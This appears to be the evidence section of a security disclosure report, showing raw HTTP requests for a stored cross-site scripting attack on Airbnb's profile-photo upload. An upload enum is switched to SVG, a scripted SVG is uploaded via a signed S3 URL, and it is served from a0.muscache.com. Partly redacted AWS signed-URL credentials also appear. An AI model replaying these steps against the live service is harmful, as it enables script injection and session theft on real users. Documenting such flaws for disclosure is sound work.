    "urlRequests":[{"mediaContentType":"IMAGE","fileType":"JPEG","transferMethod":"S3_TRANSFER_ACCELERATION"}]}}

   200 {"data":{"getSignedUrlsV2":[{"signedUrl":"https://airbnb-photos.s3-accelerate.amazonaws.com/pictures/user/User/original/1265e82c-....jpeg?
        X-Amz-Security-Token=IQoJb3JpZ2luX2VjEKX...&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20261011T171703Z&
        X-Amz-SignedHeaders=content-type;host&X-Amz-Credential=ASIASQMNC3HJV4AUPV3T/20261011/us-east-1/s3/aws4_request&
        X-Amz-Expires=300&X-Amz-Signature=fa8b7fa0..."}]}}

2  OPTIONS /pictures/user/User/original/1265e82c-....jpeg?... HTTP/1.1
   Host: airbnb-photos.s3-accelerate.amazonaws.com
   Origin: https://www.airbnb.com, Access-Control-Request-Method: PUT, Access-Control-Request-Headers: content-type
   200 Access-Control-Allow-Origin: *, Allow-Methods: GET, PUT, HEAD, POST, Allow-Headers: content-type
       X-Cache: Miss from cloudfront, X-Amz-Cf-Pop: AMS56-P1

3  PUT /pictures/user/User/original/1265e82c-....jpeg?... HTTP/1.1
   Host: airbnb-photos.s3-accelerate.amazonaws.com
   Content-Type: image/jpeg, Content-Length: 276882
   \x89PNG...                                            PNG bytes under a signed image/jpeg
   200 ETag "88c1800206a38873eeb493227c3180f5", x-amz-version-id 1QA.G1YT..., SSE AES256, via CloudFront AMS56

4  POST /api/v3/AnalyzeUserProfileImage/69f5f753...           the commit, two persisted GraphQL mutations
   POST /api/v3/CreateMediaItemsMutation/98ee0e84...          bodies not read here, the proxy view truncates them

5  GET /im/pictures/user/User/original/1265e82c-....jpeg?im_w=120 HTTP/2      also im_w=240, im_w=480
   Host: a0.muscache.com
   200 Server: Akamai Image Server, Content-Type: image/jpeg, Content-Length: 2705
       Etag "88c1800206a38873eeb493227c3180f5", X-Content-Type-Options: nosniff, Cache-Control: private, max-age=300
E4The SVG break, three phasestested live · one enum changed, secrets cut from the packets

Evidence for section 04.

http
PHASE 1  authorization, one enum changed
POST /api/v3/GetSignedUrlsMutation/c70cd37b...?operationName=GetSignedUrlsMutation HTTP/2
Host: www.airbnb.com
Content-Type: application/json
Referer: https://www.airbnb.com/users/profile?editMode=true

{"operationName":"GetSignedUrlsMutation","variables":{"domain":"USER","identifier":"1794338426557678727",
 "urlRequests":[{"mediaContentType":"IMAGE","fileType":"SVG","transferMethod":"S3_TRANSFER_ACCELERATION"}]}}

200  signedUrl https://airbnb-photos.s3-accelerate.amazonaws.com/pictures/user/User/original/32a5aa7a-d35d-4894-9249-d3bdb4c1b0e9.svg?
     X-Amz-SignedHeaders=content-type;host&X-Amz-Credential=ASIASQMNC3HJ.../20261011/us-east-1/s3/aws4_request&
     X-Amz-Date=20261011T172802Z&X-Amz-Expires=300&X-Amz-Security-Token=IQoJ...&X-Amz-Signature=b1ff74a1...

PHASE 2  upload, the type the signature was minted for
PUT /pictures/user/User/original/32a5aa7a-d35d-4894-9249-d3bdb4c1b0e9.svg?X-Amz-... HTTP/1.1
Host: airbnb-photos.s3-accelerate.amazonaws.com
Origin: https://www.airbnb.com
Content-Type: image/svg+xml
Content-Length: 238

<svg xmlns="http://www.w3.org/2000/svg" width="400" height="400" viewBox="0 0 124 124" fill="none">
<rect width="124" height="124" rx="24" fill="#000000"/>
   <script type="text/javascript">
      alert(origin);
   </script>
</svg>

200  the signature over content-type matches, S3 stores the SVG under the type the app chose

PHASE 3  retrieve, the path beside the image server
a legitimate avatar    https://a0.muscache.com/im/pictures/user/User/original/1265e82c-56d5-49d2-96ca-2ab903083a02.jpeg
the pattern            https://a0.muscache.com/im/pictures/user/User/original/<key>
the key, from phase 1  32a5aa7a-d35d-4894-9249-d3bdb4c1b0e9.svg
drop /im/              https://a0.muscache.com/pictures/user/User/original/32a5aa7a-d35d-4894-9249-d3bdb4c1b0e9.svg

the stored object comes back as stored, alert(origin) fires, stored XSS on a0.muscache.com

Open items

Other open tests

  • From section 03, tests in phase 2Rows 2 to 4 of the test table have no result in the source. See section 03
  • From section 04, where the script runsThe steal needs a second leg that trusts the a0.muscache.com origin. The source does not report it. See section 04